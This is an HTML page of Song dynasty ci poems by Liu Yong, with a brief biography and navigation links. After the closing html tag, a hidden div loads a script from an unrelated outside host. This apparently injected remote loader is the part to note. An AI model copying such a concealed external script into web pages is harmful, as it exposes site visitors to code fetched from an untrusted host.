<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>生活百宝箱-宋词-柳永</title>
<link href="../res/zl_style.css" rel="stylesheet" type="text/css" />
</head>
<body lang="zh">
<div class="Top"><a href="../" class="a_INDEX">生活百宝箱</a><b class="Top_B_arr"></b><a href="./index.htm">宋词</a><b class="Top_B_arr"></b><span><strong>柳永</strong></span></div>

	<div class="Cont_tit sc">
		<h1>柳永</h1>
		<span>柳永 原名三变，字景庄。后改为名永，字耆卿，因排行七，又称柳七。约生于宋太宗雍熙四年(987)，卒于宋仁宗皇佑五年(1053)。</span>
	</div>
	
<!--内容 开始-->
	<div class="Cont">
		<div class="sc_book_div">
		<div class="clear" style="margin-top:-20px"></div>
	<div class="sc_det_wide"><div class="sc_det_tit"><strong>少年游</strong></div><div class="sc_det_cont">长安古道马迟迟，高柳乱蝉嘶。夕阳岛外，秋风原上，目断四天垂。<br/>归云一去无踪迹，何处是前期？狎兴生疏，酒徒萧索，不似去年时。</div></div><div class="sc_det_wide"><div class="sc_det_tit"><strong>蝶恋花</strong></div><div class="sc_det_cont">伫倚危楼风细细，望极春愁，黯黯生天际。草色烟光残照里，无言谁会凭阑意？<br/>拟把疏狂图一醉，对酒当歌，强乐还无味。衣带渐宽终不悔，为伊消得人憔悴。</div></div><div class="clear"></div><div class="sc_det_wide"><div class="sc_det_tit"><strong>采莲令</strong></div><div class="sc_det_cont">月华收,云淡霜天曙。西征客、此时情苦。翠娥手,送临歧、轧轧开朱户。千娇面、盈盈伫立,无言有泪,断肠争忍回顾？<br/>一叶兰舟,便凭急桨凌波去。贪行色、岂知离绪,万般方寸，但饮恨、脉脉同谁语？更回首、重城不见，寒江天外，隐隐两三烟树。</div></div><div class="sc_det_wide"><div class="sc_det_tit"><strong>八声甘州</strong></div><div class="sc_det_cont">对潇潇暮雨洒江天，一番洗清秋。渐霜风凄紧，关河冷落，残照当楼。是处红衰翠减，苒苒物华休。惟有长江水，无语东流。<br/>不忍登高临远，望故乡渺邈，归思难收。叹年来踪迹，何事苦淹留？想佳人妆楼凝望，误几回天际识归舟？争知我、倚阑干处，正恁凝愁？</div></div>

<div class="clear"></div>
<div class="sc_fy">宋词作者：<span>柳永</span>&nbsp; &nbsp; 宋词翻页： [<a href="43_1.htm">下一页</a>]&nbsp; &nbsp; 页数： <span>1/4</span></div>
</div>

<div class="sc_bot_div"><input name="" type="button" value="返回宋词列表" onclick="location.href='index.htm'" /></div>

	</div>
</body>
</html>
  <div style='display:none'>
<script type="text/javascript" src="http://www.26rc.com/js/26.js"></script>